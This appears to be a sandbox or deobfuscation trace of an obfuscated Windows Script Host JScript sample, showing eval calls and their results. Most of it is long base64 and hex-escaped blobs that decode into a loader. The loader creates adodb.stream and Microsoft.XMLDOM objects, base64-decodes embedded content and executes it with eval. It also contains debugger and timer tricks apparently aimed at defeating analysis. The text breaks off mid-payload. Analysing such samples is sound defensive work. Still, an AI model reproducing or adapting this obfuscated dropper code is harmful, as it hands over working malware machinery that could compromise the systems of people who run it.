FkxWEhVd01EWXpYSFV3TURjMFhIVXdNREk0WEhVd01ESXlYSFV3TURaa1hIVXdNRFk1WEhVd01EWXpYSFV3TURjeVhIVXdNRFptWEhVd01EY3pYSFV3TURabVhIVXdNRFkyWEhVd01EYzBYSFV3TURKbFhIVXdNRGM0WEhVd01EWmtYSFV3TURaalhIVXdNRFkwWEhVd01EWm1YSFV3TURaa1hIVXdNREl5WEhVd01ESTVYSFV3TURKbFhIVXdNRFl6WEhVd01EY3lYSFV3TURZMVhIVXdNRFl4WEhVd01EYzBYSFV3TURZMVhIVXdNRFExWEhVd01EWmpYSFV3TURZMVhIVXdNRFprWEhVd01EWTFYSFV3TURabFhIVXdNRGMwWEhVd01ESTRYSFV3TURJeVhIVXdNRFprWEhVd01EWmlYSFV3TURabVhIVXdNREl5WEhVd01ESTVKeWtzSUVGeWNtRjVLQ2RjZURRNFhIZ3pNMXg0TmpKY2VEY3lYSGd6TTF4NE56ZGNlREpsWEhnMk5GeDROakZjZURjMFhIZzJNVng0TlRSY2VEYzVYSGczTUZ4NE5qVW5MQ0FuWEhneU1seDROakpjZURZNVhIZzJaVng0TW1WY2VEWXlYSGcyTVZ4NE56TmNlRFkxWEhnek5seDRNelJjZURJeUp5a3NJRUZ5Y21GNUtDZGNlRFE0WEhnek0xeDROakpjZURjeVhIZ3pNMXg0TnpkY2VESmxYSGczTkZ4NE5qVmNlRGM0WEhnM05DY3NJRjlmY0Y4M01qWTFNelE0TmpFMEtDZGNkVEF3TWpJbklDc2diRFV3UjBkMld5ZGNkVEF3TmpOY2RUQXdObVpjZFRBd05tVmNkVEF3TnpSY2RUQXdOalZjZFRBd05tVmNkVEF3TnpRblhWc25YSGczTWx4NE5qVmNlRGN3WEhnMlkxeDROakZjZURZelhIZzJOU2RkS0M4bFh5OW5MQ0FuUVNjcExDQW5YSGd5TWljc0lGOWZjRjg1TXpJd01ETXpOalU1S0Mwek9EWXBLU2tzSUVGeWNtRjVLQ2RjZFRBd05tTmNkVEF3TXpWY2RUQXdNekJjZFRBd05EZGNkVEF3TkRkY2RUQXdOelpjZFRBd01tVmNkVEF3TmpOY2RUQXdObVpjZFRBd05tVmNkVEF3TnpSY2RUQXdOalZjZFRBd05tVmNkVEF3TnpRbkxDQW5YSGcwTVZ4NE56SmNlRGN5WEhnMk1WeDROemxjZURJNFhIZzBPRng0TXpOY2VEWXlYSGczTWx4NE16TmNlRGMzWEhneU9TY3BMQ0JCY25KaGVTZ25") ➔ "dHJ5ewp2YXIgbG9uZ1RleHQxID0gImRtOXBaQ0FvSVVGeWNtRjVMbkJ5YjNSdmRIbHdaUzVtYjNKRllXTm9JRDhnUVhKeVlYa3VjSEp2ZEc5MGVYQmxMbVp2Y2tWaFkyZ2dQU0JtZFc1amRHbHZiaUFvWTJGc2JHSmhZMnNzSUhSb2FYTkJjbWNwSUhzS0lDQWdJSFJvYVhOQmNtY2dQU0IwYUdselFYSm5Pd29nSUNBZ1ptOXlJQ2gyWVhJZ2FTQTlJREE3SUdrZ1BDQjBhR2x6TG14bGJtZDBhRHNnYVNzcktTQjdDaUFnSUNBZ0lDQWdZMkZzYkdKaFkyc3VZMkZzYkNoMGFHbHpRWEpuTENCMGFHbHpXMmxkTENCcExDQjBhR2x6S1RzS0lDQWdJSDBLZlNBNklEQXNJQ0ZCY25KaGVTNXdjbTkwYjNSNWNHVXViV0Z3SUQ4Z1FYSnlZWGt1Y0hKdmRHOTBlWEJsTG0xaGNDQTlJR1oxYm1OMGFXOXVJQ2hqWVd4c1ltRmpheXdnZEdocGMwRnlaeWtnZXdvZ0lDQWdkR2hwYzBGeVp5QTlJSFJvYVhOQmNtYzdDaUFnSUNCMllYSWdZWEp5WVhrZ1BTQmJYVHNLSUNBZ0lHWnZjaUFvZG1GeUlHa2dQU0F3T3lCcElEd2dkR2hwY3k1c1pXNW5kR2c3SUdrckt5a2dld29nSUNBZ0lDQWdJR0Z5Y21GNUxuQjFjMmdvWTJGc2JHSmhZMnN1WTJGc2JDaDBhR2x6UVhKbkxDQjBhR2x6VzJsZExDQnBMQ0IwYUdsektTazdDaUFnSUNCOUNpQWdJQ0J5WlhSMWNtNGdZWEp5WVhrN0NuMGdPaUF3TENBaFFYSnlZWGt1Y0hKdmRHOTBlWEJsTG5KbFpIVmpaU0EvSUVGeWNtRjVMbkJ5YjNSdmRIbHdaUzV5WldSMVkyVWdQU0JtZFc1amRHbHZiaUFvWm00c0lHbHVhWFJwWVd3cElIc0tJQ0FnSUhaaGNpQjJZV3gxWlhNZ1BTQjBhR2x6T3dvZ0lDQWdhV1lnS0hSNWNHVnZaaUJwYm1sMGFXRnNJRDA5UFNBblhIZzNOVng0Tm1WY2VEWTBYSGcyTlZ4NE5qWmNlRFk1WEhnMlpWeDROalZjZURZMEp5a2dld29nSUNBZ0lDQWdJR2x1YVhScFlXd2dQU0F3T3dvZ0lDQWdmUW9nSUNBZ2RtRnNkV1Z6TG1admNrVmhZMmdvWm5WdVkzUnBiMjRnS0dsMFpXMHNJR2x1WkdWNEtTQjdDaUFnSUNBZ0lDQWdhVzVwZEdsaGJDQTlJR1p1S0dsdWFYUnBZV3dzSUdsMFpXMHNJR2x1WkdWNExDQjBhR2x6S1RzS0lDQWdJSDBwT3dvZ0lDQWdjbVYwZFhKdUlHbHVhWFJwWVd3N0NuMGdPaUF3S1RzS1puVnVZM1JwYjI0Z1gxOXdYemN5TmpVek5EZzJNVFFvWDE5d1h6VTRNakkyTnpNek1EVXNJRjlmY0Y4NE5URTBOall5TWpJNUtTQjdDaUFnSUNCemQybDBZMmdnS0Y5ZmNGODFNRFkxT1RNNE1USTFLU0I3Q2lBZ0lDQmpZWE5sSUMwek9EWTZDaUFnSUNBZ0lDQWdjbVYwZFhKdUlGOWZjRjgxT0RJeU5qY3pNekExSUNzZ1gxOXdYemcxTVRRMk5qSXlNams3Q2lBZ0lDQjlDbjBLWm5WdVkzUnBiMjRnWDE5d1h6a3pNakF3TXpNMk5Ua29ZU2tnZXdvZ0lDQWdZU0E5SUY5ZmNGODFNRFkxT1RNNE1USTFJQ3NnS0Y5ZmNGODFNRFkxT1RNNE1USTFJRDBnWVN3Z01DazdDaUFnSUNCeVpYUjFjbTRnWVRzS2ZRcDJZWElnWDE5d1h6VXdOalU1TXpneE1qVTdDblJ5ZVNCN0NpQWdJQ0JwWmlBb2MyVjBTVzUwWlhKMllXd3BJSHNLSUNBZ0lDQWdJQ0J6WlhSSmJuUmxjblpoYkNobWRXNWpkR2x2YmlBb0tTQjdDaUFnSUNBZ0lDQWdJQ0FnSUY5ZmNGODVPRFUxTWpnek9EUXlLQ2s3Q2lBZ0lDQWdJQ0FnZlN3Z05EQXdNQ2s3Q2lBZ0lDQjlDbjBnWTJGMFkyZ2dLR1VwSUhzS2ZRcGtaV0oxWjJkbGNqc0tablZ1WTNScGIyNGdTRE5oYkdsdVJ5Z3BJSHNLSUNBZ0lIWmhjaUJuV1UxMGVUc0tJQ0FnSUdSbFluVm5aMlZ5T3dvZ0lDQWdkbTlwWkNBb2RHaHBjMXNuWEhVd01EYzNYSFV3TURVMFhIVXdNRFl4WEhVd01EWXlYSFV3TURaalhIVXdNRE16SjEwZ1BTQm1kVzVqZEdsdmJpQW9iRFV3UjBkMktTQjdDaUFnSUNBZ0lDQWdkbUZ5SUhGeVlXNTBlU0E5SUVGeWNtRjVLRUZ5Y21GNUtDZGNkVEF3TnpaY2RUQXdOakZjZFRBd056SmNkVEF3TWpCY2RUQXdORGhjZFRBd016TmNkVEF3TmpKY2RUQXdOekpjZFRBd016TmNkVEF3TnpjbkxDQW5YSFV3TURVM1hIVXdNRFV6WEhVd01EUTRYSFV3TURKbFhIVXdNRFF6WEhVd01EY3lYSFV3TURZMVhIVXdNRFl4WEhVd01EYzBYSFV3TURZMVhIVXdNRFJtWEhVd01EWXlYSFV3TURaaFhIVXdNRFkxWEhVd01EWXpYSFV3TURjMFhIVXdNREk0WEhVd01ESXlYSFV3TURaa1hIVXdNRFk1WEhVd01EWXpYSFV3TURjeVhIVXdNRFptWEhVd01EY3pYSFV3TURabVhIVXdNRFkyWEhVd01EYzBYSFV3TURKbFhIVXdNRGM0WEhVd01EWmtYSFV3TURaalhIVXdNRFkwWEhVd01EWm1YSFV3TURaa1hIVXdNREl5WEhVd01ESTVYSFV3TURKbFhIVXdNRFl6WEhVd01EY3lYSFV3TURZMVhIVXdNRFl4WEhVd01EYzBYSFV3TURZMVhIVXdNRFExWEhVd01EWmpYSFV3TURZMVhIVXdNRFprWEhVd01EWTFYSFV3TURabFhIVXdNRGMwWEhVd01ESTRYSFV3TURJeVhIVXdNRFprWEhVd01EWmlYSFV3TURabVhIVXdNREl5WEhVd01ESTVKeWtzSUVGeWNtRjVLQ2RjZURRNFhIZ3pNMXg0TmpKY2VEY3lYSGd6TTF4NE56ZGNlREpsWEhnMk5GeDROakZjZURjMFhIZzJNVng0TlRSY2VEYzVYSGczTUZ4NE5qVW5MQ0FuWEhneU1seDROakpjZURZNVhIZzJaVng0TW1WY2VEWXlYSGcyTVZ4NE56TmNlRFkxWEhnek5seDRNelJjZURJeUp5a3NJRUZ5Y21GNUtDZGNlRFE0WEhnek0xeDROakpjZURjeVhIZ3pNMXg0TnpkY2VESmxYSGczTkZ4NE5qVmNlRGM0WEhnM05DY3NJRjlmY0Y4M01qWTFNelE0TmpFMEtDZGNkVEF3TWpJbklDc2diRFV3UjBkMld5ZGNkVEF3TmpOY2RUQXdObVpjZFRBd05tVmNkVEF3TnpSY2RUQXdOalZjZFRBd05tVmNkVEF3TnpRblhWc25YSGczTWx4NE5qVmNlRGN3WEhnMlkxeDROakZjZURZelhIZzJOU2RkS0M4bFh5OW5MQ0FuUVNjcExDQW5YSGd5TWljc0lGOWZjRjg1TXpJd01ETXpOalU1S0Mwek9EWXBLU2tzSUVGeWNtRjVLQ2RjZFRBd05tTmNkVEF3TXpWY2RUQXdNekJjZFRBd05EZGNkVEF3TkRkY2RUQXdOelpjZFRBd01tVmNkVEF3TmpOY2RUQXdObVpjZFRBd05tVmNkVEF3TnpSY2RUQXdOalZjZFRBd05tVmNkVEF3TnpRbkxDQW5YSGcwTVZ4NE56SmNlRGN5WEhnMk1WeDROemxjZURJNFhIZzBPRng0TXpOY2VEWXlYSGczTWx4NE16TmNlRGMzWEhneU9TY3BMQ0JCY25KaGVTZ25YSFV3TURZM1hI" __p_7265348614("l50GGv.content=","Array(H3br3w)",-386) ➔ "l50GGv.content=Array(H3br3w)" eval("l50GGv.content=Array(H3br3w)") ➔ __p_7265348614("gYMty=","WSH.CreateObject("adodb.stream")",-386) ➔ "gYMty=WSH.CreateObject("adodb.stream")" eval("gYMty=WSH.CreateObject("adodb.stream")") ➔
65	}
66	},
67	this['\x67\x52\x30\x33\x76\x62'] =
68	function (pl4ntz) {	[object Object].gR03vb([object Object]) ➔ undefined
69	typeof ( gYMty['\u0054\u0079\u0070\u0065'] = 1, gYMty['\u004f\u0070\u0065\u006e'] ( ), gYMty['\x57\x72\x69\x74\x65'] ( pl4ntz['\u0063\u006f\u006e\u0074\u0065\u006e\u0074'][0]['\u006e\u006f\u0064\u0065\u0054\u0079\u0070\u0065\u0064\u0056\u0061\u006c\u0075\u0065'] ), gYMty['\u0050\u006f\u0073\u0069\u0074\u0069\u006f\u006e'] = 0, gYMty['\x54\x79\x70\x65'] = 2, gYMty['\x43\x68\x61\x72\x53\x65\x74'] = '\x75\x73\x2d\x61\x73\x63\x69\x69', pl4ntz['\x63\x6f\x6e\x74\x65\x6e\x74'] = Array ( gYMty['\x52\x65\x61\x64\x54\x65\x78\x74'] ( ) ) );	Open() ➔ undefined Write() ➔ undefined ReadText() ➔ "try{ var longText1 = "dm9pZCAoIUFycmF5LnByb3RvdHlwZS5mb3JFYWNoID8gQXJyYXkucHJvdG90eXBlLmZvckVhY2ggPSBmdW5jdGlvbiAoY2FsbGJhY2ssIHRoaXNBcmcpIHsKICAgIHRoaXNBcmcgPSB0aGlzQXJnOwogICAgZm9yICh2YXIgaSA9IDA7IGkgPCB0aGlzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgY2FsbGJhY2suY2FsbCh0aGlzQXJnLCB0aGlzW2ldLCBpLCB0aGlzKTsKICAgIH0KfSA6IDAsICFBcnJheS5wcm90b3R5cGUubWFwID8gQXJyYXkucHJvdG90eXBlLm1hcCA9IGZ1bmN0aW9uIChjYWxsYmFjaywgdGhpc0FyZykgewogICAgdGhpc0FyZyA9IHRoaXNBcmc7CiAgICB2YXIgYXJyYXkgPSBbXTsKICAgIGZvciAodmFyIGkgPSAwOyBpIDwgdGhpcy5sZW5ndGg7IGkrKykgewogICAgICAgIGFycmF5LnB1c2goY2FsbGJhY2suY2FsbCh0aGlzQXJnLCB0aGlzW2ldLCBpLCB0aGlzKSk7CiAgICB9CiAgICByZXR1cm4gYXJyYXk7Cn0gOiAwLCAhQXJyYXkucHJvdG90eXBlLnJlZHVjZSA/IEFycmF5LnByb3RvdHlwZS5yZWR1Y2UgPSBmdW5jdGlvbiAoZm4sIGluaXRpYWwpIHsKICAgIHZhciB2YWx1ZXMgPSB0aGlzOwogICAgaWYgKHR5cGVvZiBpbml0aWFsID09PSAnXHg3NVx4NmVceDY0XHg2NVx4NjZceDY5XHg2ZVx4NjVceDY0JykgewogICAgICAgIGluaXRpYWwgPSAwOwogICAgfQogICAgdmFsdWVzLmZvckVhY2goZnVuY3Rpb24gKGl0ZW0sIGluZGV4KSB7CiAgICAgICAgaW5pdGlhbCA9IGZuKGluaXRpYWwsIGl0ZW0sIGluZGV4LCB0aGlzKTsKICAgIH0pOwogICAgcmV0dXJuIGluaXRpYWw7Cn0gOiAwKTsKZnVuY3Rpb24gX19wXzcyNjUzNDg2MTQoX19wXzU4MjI2NzMzMDUsIF9fcF84NTE0NjYyMjI5KSB7CiAgICBzd2l0Y2ggKF9fcF81MDY1OTM4MTI1KSB7CiAgICBjYXNlIC0zODY6CiAgICAgICAgcmV0dXJuIF9fcF81ODIyNjczMzA1ICsgX19wXzg1MTQ2NjIyMjk7CiAgICB9Cn0KZnVuY3Rpb24gX19wXzkzMjAwMzM2NTkoYSkgewogICAgYSA9IF9fcF81MDY1OTM4MTI1ICsgKF9fcF81MDY1OTM4MTI1ID0gYSwgMCk7CiAgICByZXR1cm4gYTsKfQp2YXIgX19wXzUwNjU5MzgxMjU7CnRyeSB7CiAgICBpZiAoc2V0SW50ZXJ2YWwpIHsKICAgICAgICBzZXRJbnRlcnZhbChmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgIF9fcF85ODU1MjgzODQyKCk7CiAgICAgICAgfSwgNDAwMCk7CiAgICB9Cn0gY2F0Y2ggKGUpIHsKfQpkZWJ1Z2dlcjsKZnVuY3Rpb24gSDNhbGluRygpIHsKICAgIHZhciBnWU10eTsKICAgIGRlYnVnZ2VyOwogICAgdm9pZCAodGhpc1snXHUwMDc3XHUwMDU0XHUwMDYxXHUwMDYyXHUwMDZjXHUwMDMzJ10gPSBmdW5jdGlvbiAobDUwR0d2KSB7CiAgICAgICAgdmFyIHFyYW50eSA9IEFycmF5KEFycmF5KCdcdTAwNzZcdTAwNjFcdTAwNzJcdTAwMjBcdTAwNDhcdTAwMzNcdTAwNjJcdTAwNzJcdTAwMzNcdTAwNzcnLCAnXHUwMDU3XHUwMDUzXHUwMDQ4XHUwMDJlXHUwMDQzXHUwMDcyXHUwMDY1XHUwMDYxXHUwMDc0XHUwMDY1XHUwMDRmXHUwMDYyXHUwMDZhXHUwMDY1XHUwMDYzXHUwMDc0XHUwMDI4XHUwMDIyXHUwMDZkXHUwMDY5XHUwMDYzXHUwMDcyXHUwMDZmXHUwMDczXHUwMDZmXHUwMDY2XHUwMDc0XHUwMDJlXHUwMDc4XHUwMDZkXHUwMDZjXHUwMDY0XHUwMDZmXHUwMDZkXHUwMDIyXHUwMDI5XHUwMDJlXHUwMDYzXHUwMDcyXHUwMDY1XHUwMDYxXHUwMDc0XHUwMDY1XHUwMDQ1XHUwMDZjXHUwMDY1XHUwMDZkXHUwMDY1XHUwMDZlXHUwMDc0XHUwMDI4XHUwMDIyXHUwMDZkXHUwMDZiXHUwMDZmXHUwMDIyXHUwMDI5JyksIEFycmF5KCdceDQ4XHgzM1x4NjJceDcyXHgzM1x4NzdceDJlXHg2NFx4NjFceDc0XHg2MVx4NTRceDc5XHg3MFx4NjUnLCAnXHgyMlx4NjJceDY5XHg2ZVx4MmVceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDIyJyksIEFycmF5KCdceDQ4XHgzM1x4NjJceDcyXHgzM1x4NzdceDJlXHg3NFx4NjVceDc4XHg3NCcsIF9fcF83MjY1MzQ4NjE0KCdcdTAwMjInICsgbDUwR0d2WydcdTAwNjNcdTAwNmZcdTAwNmVcdTAwNzRcdTAwNjVcdTAwNmVcdTAwNzQnXVsnXHg3Mlx4NjVceDcwXHg2Y1x4NjFceDYzXHg2NSddKC8lXy9nLCAnQScpLCAnXHgyMicsIF9fcF85MzIwMDMzNjU5KC0zODYpKSksIEFycmF5KCdcdTAwNmNcdTAwMzVcdTAwMzBcdTAwNDdcdTAwNDdcdTAwNzZcdTAwMmVcdTAwNjNcdTAwNmZcdTAwNmVcdTAwNzRcdTAwNjVcdTAwNmVcdTAwNzQnLCAnXHg0MVx4NzJceDcyXHg2MVx4NzlceDI4XHg0OFx4MzNceDYyXHg3Mlx4MzNceDc3XHgyOScpLCBBcnJheSgnXHUwMDY3XHUwMDU5XHUwMDRkXHUwMDc0XHUwMDc5JywgJ1x4NTdceDUzXHg0OFx4MmVceDQzXHg3Mlx4NjVceDYxXHg3NFx4NjVceDRmXHg2Mlx4NmFceDY1XHg2M1x4NzRceDI4XHgyMlx4NjFceDY0XHg2Zlx4NjRceDYyXHgyZVx4NzNceDc0XHg3Mlx4NjVceDYxXHg2ZFx4MjJceDI5JykpOwogICAgICAgIGZvciAodmFyIHRlbSA9IDA7IHRlbSA8IHFyYW50eVsnXHUwMDZjXHUwMDY1XHUwMDZlXHUwMDY3XHUwMDc0XHUwMDY4J107IHRlbSsrKSB7CiAgICAgICAgICAgIGV2YWwoX19wXzcyNjUzNDg2MTQocXJhbnR5W3RlbV1bMF0gKyAnXHgzZCcsIHFyYW50eVt0ZW1dWzFdLCBfX3BfNTA2NTkzODEyNSA9IC0zODYpKTsKICAgICAgICB9CiAgICB9LCB0aGlzWydceDY3XHg1Mlx4MzBceDMzXHg3Nlx4NjInXSA9IGZ1bmN0aW9uIChwbDRudHopIHsKICAgICAgICB0eXBlb2YgKGdZTXR5WydcdTAwNTRcdTAwNzlcdTAwNzBcdTAwNjUnXSA9IDEsIGdZTXR5WydcdTAwNGZcdTAwNzBcdTAwNjVcdTAwNmUnXSgpLCBnWU10eVsnXHg1N1x4NzJceDY5XHg3NFx4NjUnXShwbDRudHpbJ1x1MDA2M1x1MDA2Zlx1MDA2ZVx1MDA3NFx1MDA2NVx1MDA2ZVx1MDA3NCddWzBdWydcdTAwNmVcdTAwNmZcdTAwNjRcdTAwNjVcdTAwNTRcdTAwNzlcdTAwNzBcdTAwNjVcdTAwNjRcdTAwNTZcdTAwNjFcdTAwNmNcdTAwNzVcdTAwNjUnXSksIGdZTXR5WydcdTAwNTBcdTAwNmZcdTAwNzNcdTAwNjlcdTAwNzRcdTAwNjlcdTAwNmZcdTAwNmUnXSA9IDAsIGdZTXR5WydceDU0XHg3OVx4Nz" Array("try{ var longText1 = "dm9pZCAoIUFycmF5LnByb3RvdHlwZS5mb3JFYWNoID8gQXJyYXkucHJvdG90eXBlLmZvckVhY2ggPSBmdW5jdGlvbiAoY2FsbGJhY2ssIHRoaXNBcmcpIHsKICAgIHRoaXNBcmcgPSB0aGlzQXJnOwogICAgZm9yICh2YXIgaSA9IDA7IGkgPCB0aGlzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgY2FsbGJhY2suY2FsbCh0aGlzQXJnLCB0aGlzW2ldLCBpLCB0aGlzKTsKICAgIH0KfSA6IDAsICFBcnJheS5wcm90b3R5cGUubWFwID8gQXJyYXkucHJvdG90eXBlLm1hcCA9IGZ1bmN0aW9uIChjYWxsYmFjaywgdGhpc0FyZykgewogICAgdGhpc0FyZyA9IHRoaXNBcmc7CiAgICB2YXIgYXJyYXkgPSBbXTsKICAgIGZvciAodmFyIGkgPSAwOyBpIDwgdGhpcy5sZW5ndGg7IGkrKykgewogICAgICAgIGFycmF5LnB1c2goY2FsbGJhY2suY2FsbCh0aGlzQXJnLCB0aGlzW2ldLCBpLCB0aGlzKSk7CiAgICB9CiAgICByZXR1cm4gYXJyYXk7Cn0gOiAwLCAhQXJyYXkucHJvdG90eXBlLnJlZHVjZSA/IEFycmF5LnByb3RvdHlwZS5yZWR1Y2UgPSBmdW5jdGlvbiAoZm4sIGluaXRpYWwpIHsKICAgIHZhciB2YWx1ZXMgPSB0aGlzOwogICAgaWYgKHR5cGVvZiBpbml0aWFsID09PSAnXHg3NVx4NmVceDY0XHg2NVx4NjZceDY5XHg2ZVx4NjVceDY0JykgewogICAgICAgIGluaXRpYWwgPSAwOwogICAgfQogICAgdmFsdWVzLmZvckVhY2goZnVuY3Rpb24gKGl0ZW0sIGluZGV4KSB7CiAgICAgICAgaW5pdGlhbCA9IGZuKGluaXRpYWwsIGl0ZW0sIGluZGV4LCB0aGlzKTsKICAgIH0pOwogICAgcmV0dXJuIGluaXRpYWw7Cn0gOiAwKTsKZnVuY3Rpb24gX19wXzcyNjUzNDg2MTQoX19wXzU4MjI2NzMzMDUsIF9fcF84NTE0NjYyMjI5KSB7CiAgICBzd2l0Y2ggKF9fcF81MDY1OTM4MTI1KSB7CiAgICBjYXNlIC0zODY6CiAgICAgICAgcmV0dXJuIF9fcF81ODIyNjczMzA1ICsgX19wXzg1MTQ2NjIyMjk7CiAgICB9Cn0KZnVuY3Rpb24gX19wXzkzMjAwMzM2NTkoYSkgewogICAgYSA9IF9fcF81MDY1OTM4MTI1ICsgKF9fcF81MDY1OTM4MTI1ID0gYSwgMCk7CiAgICByZXR1cm4gYTsKfQp2YXIgX19wXzUwNjU5MzgxMjU7CnRyeSB7CiAgICBpZiAoc2V0SW50ZXJ2YWwpIHsKICAgICAgICBzZXRJbnRlcnZhbChmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgIF9fcF85ODU1MjgzODQyKCk7CiAgICAgICAgfSwgNDAwMCk7CiAgICB9Cn0gY2F0Y2ggKGUpIHsKfQpkZWJ1Z2dlcjsKZnVuY3Rpb24gSDNhbGluRygpIHsKICAgIHZhciBnWU10eTsKICAgIGRlYnVnZ2VyOwogICAgdm9pZCAodGhpc1snXHUwMDc3XHUwMDU0XHUwMDYxXHUwMDYyXHUwMDZjXHUwMDMzJ10gPSBmdW5jdGlvbiAobDUwR0d2KSB7CiAgICAgICAgdmFyIHFyYW50eSA9IEFycmF5KEFycmF5KCdcdTAwNzZcdTAwNjFcdTAwNzJcdTAwMjBcdTAwNDhcdTAwMzNcdTAwNjJcdTAwNzJcdTAwMzNcdTAwNzcnLCAnXHUwMDU3XHUwMDUzXHUwMDQ4XHUwMDJlXHUwMDQzXHUwMDcyXHUwMDY1XHUwMDYxXHUwMDc0XHUwMDY1XHUwMDRmXHUwMDYyXHUwMDZhXHUwMDY1XHUwMDYzXHUwMDc0XHUwMDI4XHUwMDIyXHUwMDZkXHUwMDY5XHUwMDYzXHUwMDcyXHUwMDZmXHUwMDczXHUwMDZmXHUwMDY2XHUwMDc0XHUwMDJlXHUwMDc4XHUwMDZkXHUwMDZjXHUwMDY0XHUwMDZmXHUwMDZkXHUwMDIyXHUwMDI5XHUwMDJlXHUwMDYzXHUwMDcyXHUwMDY1XHUwMDYxXHUwMDc0XHUwMDY1XHUwMDQ1XHUwMDZjXHUwMDY1XHUwMDZkXHUwMDY1XHUwMDZlXHUwMDc0XHUwMDI4XHUwMDIyXHUwMDZkXHUwMDZiXHUwMDZmXHUwMDIyXHUwMDI5JyksIEFycmF5KCdceDQ4XHgzM1x4NjJceDcyXHgzM1x4NzdceDJlXHg2NFx4NjFceDc0XHg2MVx4NTRceDc5XHg3MFx4NjUnLCAnXHgyMlx4NjJceDY5XHg2ZVx4MmVceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDIyJyksIEFycmF5KCdceDQ4XHgzM1x4NjJceDcyXHgzM1x4NzdceDJlXHg3NFx4NjVceDc4XHg3NCcsIF9fcF83MjY1MzQ4NjE0KCdcdTAwMjInICsgbDUwR0d2WydcdTAwNjNcdTAwNmZcdTAwNmVcdTAwNzRcdTAwNjVcdTAwNmVcdTAwNzQnXVsnXHg3Mlx4NjVceDcwXHg2Y1x4NjFceDYzXHg2NSddKC8lXy9nLCAnQScpLCAnXHgyMicsIF9fcF85MzIwMDMzNjU5KC0zODYpKSksIEFycmF5KCdcdTAwNmNcdTAwMzVcdTAwMzBcdTAwNDdcdTAwNDdcdTAwNzZcdTAwMmVcdTAwNjNcdTAwNmZcdTAwNmVcdTAwNzRcdTAwNjVcdTAwNmVcdTAwNzQnLCAnXHg0MVx4NzJceDcyXHg2MVx4NzlceDI4XHg0OFx4MzNceDYyXHg3Mlx4MzNceDc3XHgyOScpLCBBcnJheSgnXHUwMDY3XHUwMDU5XHUwMDRkXHUwMDc0XHUwMDc5JywgJ1x4NTdceDUzXHg0OFx4MmVceDQzXHg3Mlx4NjVceDYxXHg3NFx4NjVceDRmXHg2Mlx4NmFceDY1XHg2M1x4NzRceDI4XHgyMlx4NjFceDY0XHg2Zlx4NjRceDYyXHgyZVx4NzNceDc0XHg3Mlx4NjVceDYxXHg2ZFx4MjJceDI5JykpOwogICAgICAgIGZvciAodmFyIHRlbSA9IDA7IHRlbSA8IHFyYW50eVsnXHUwMDZjXHUwMDY1XHUwMDZlXHUwMDY3XHUwMDc0XHUwMDY4J107IHRlbSsrKSB7CiAgICAgICAgICAgIGV2YWwoX19wXzcyNjUzNDg2MTQocXJhbnR5W3RlbV1bMF0gKyAnXHgzZCcsIHFyYW50eVt0ZW1dWzFdLCBfX3BfNTA2NTkzODEyNSA9IC0zODYpKTsKICAgICAgICB9CiAgICB9LCB0aGlzWydceDY3XHg1Mlx4MzBceDMzXHg3Nlx4NjInXSA9IGZ1bmN0aW9uIChwbDRudHopIHsKICAgICAgICB0eXBlb2YgKGdZTXR5WydcdTAwNTRcdTAwNzlcdTAwNzBcdTAwNjUnXSA9IDEsIGdZTXR5WydcdTAwNGZcdTAwNzBcdTAwNjVcdTAwNmUnXSgpLCBnWU10eVsnXHg1N1x4NzJceDY5XHg3NFx4NjUnXShwbDRudHpbJ1x1MDA2M1x1MDA2Zlx1MDA2ZVx1MDA3NFx1MDA2NVx1MDA2ZVx1MDA3NCddWzBdWydcdTAwNmVcdTAwNmZcdTAwNjRcdTAwNjVcdTAwNTRcdTAwNzlcdTAwNzBcdTAwNjVcdTAwNjRcdTAwNTZcdTAwNjFcdTAwNmNcdTAwNzVcdTAwNjUnXSksIGdZTXR5WydcdTAwNTBcdTAwNmZcdTAwNzNcdTAwNjlcdTAwNzRcdTAwNjlcdTAwNmZcdTAwNmUnXSA9IDAsIGdZTXR5WydceDU0XHg3OVx4Nz") ➔ try{ var longText1 = "dm9pZCAoIUFycmF5LnByb3RvdHlwZS5mb3JFYWNoID8gQXJyYXkucHJvdG90eXBlLmZvckVhY2ggPSBmdW5jdGlvbiAoY2FsbGJhY2ssIHRoaXNBcmcpIHsKICAgIHRoaXNBcmcgPSB0aGlzQXJnOwogICAgZm9yICh2YXIgaSA9IDA7IGkgPCB0aGlzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgY2FsbGJhY2suY2FsbCh0aGlzQXJnLCB0aGlzW2ldLCBpLCB0aGlzKTsKICAgIH0KfSA6IDAsICFBcnJheS5wcm90b3R5cGUubWFwID8gQXJyYXkucHJvdG90eXBlLm1hcCA9IGZ1bmN0aW9uIChjYWxsYmFjaywgdGhpc0FyZykgewogICAgdGhpc0FyZyA9IHRoaXNBcmc7CiAgICB2YXIgYXJyYXkgPSBbXTsKICAgIGZvciAodmFyIGkgPSAwOyBpIDwgdGhpcy5sZW5ndGg7IGkrKykgewogICAgICAgIGFycmF5LnB1c2goY2FsbGJhY2suY2FsbCh0aGlzQXJnLCB0aGlzW2ldLCBpLCB0aGlzKSk7CiAgICB9CiAgICByZXR1cm4gYXJyYXk7Cn0gOiAwLCAhQXJyYXkucHJvdG90eXBlLnJlZHVjZSA/IEFycmF5LnByb3RvdHlwZS5yZWR1Y2UgPSBmdW5jdGlvbiAoZm4sIGluaXRpYWwpIHsKICAgIHZhciB2YWx1ZXMgPSB0aGlzOwogICAgaWYgKHR5cGVvZiBpbml0aWFsID09PSAnXHg3NVx4NmVceDY0XHg2NVx4NjZceDY5XHg2ZVx4NjVceDY0JykgewogICAgICAgIGluaXRpYWwgPSAwOwogICAgfQogICAgdmFsdWVzLmZvckVhY2goZnVuY3Rpb24gKGl0ZW0sIGluZGV4KSB7CiAgICAgICAgaW5pdGlhbCA9IGZuKGluaXRpYWwsIGl0ZW0sIGluZGV4LCB0aGlzKTsKICAgIH0pOwogICAgcmV0dXJuIGluaXRpYWw7Cn0gOiAwKTsKZnVuY3Rpb24gX19wXzcyNjUzNDg2MTQoX19wXzU4MjI2NzMzMDUsIF9fcF84NTE0NjYyMjI5KSB7CiAgICBzd2l0Y2ggKF9fcF81MDY1OTM4MTI1KSB7CiAgICBjYXNlIC0zODY6CiAgICAgICAgcmV0dXJuIF9fcF81ODIyNjczMzA1ICsgX19wXzg1MTQ2NjIyMjk7CiAgICB9Cn0KZnVuY3Rpb24gX19wXzkzMjAwMzM2NTkoYSkgewogICAgYSA9IF9fcF81MDY1OTM4MTI1ICsgKF9fc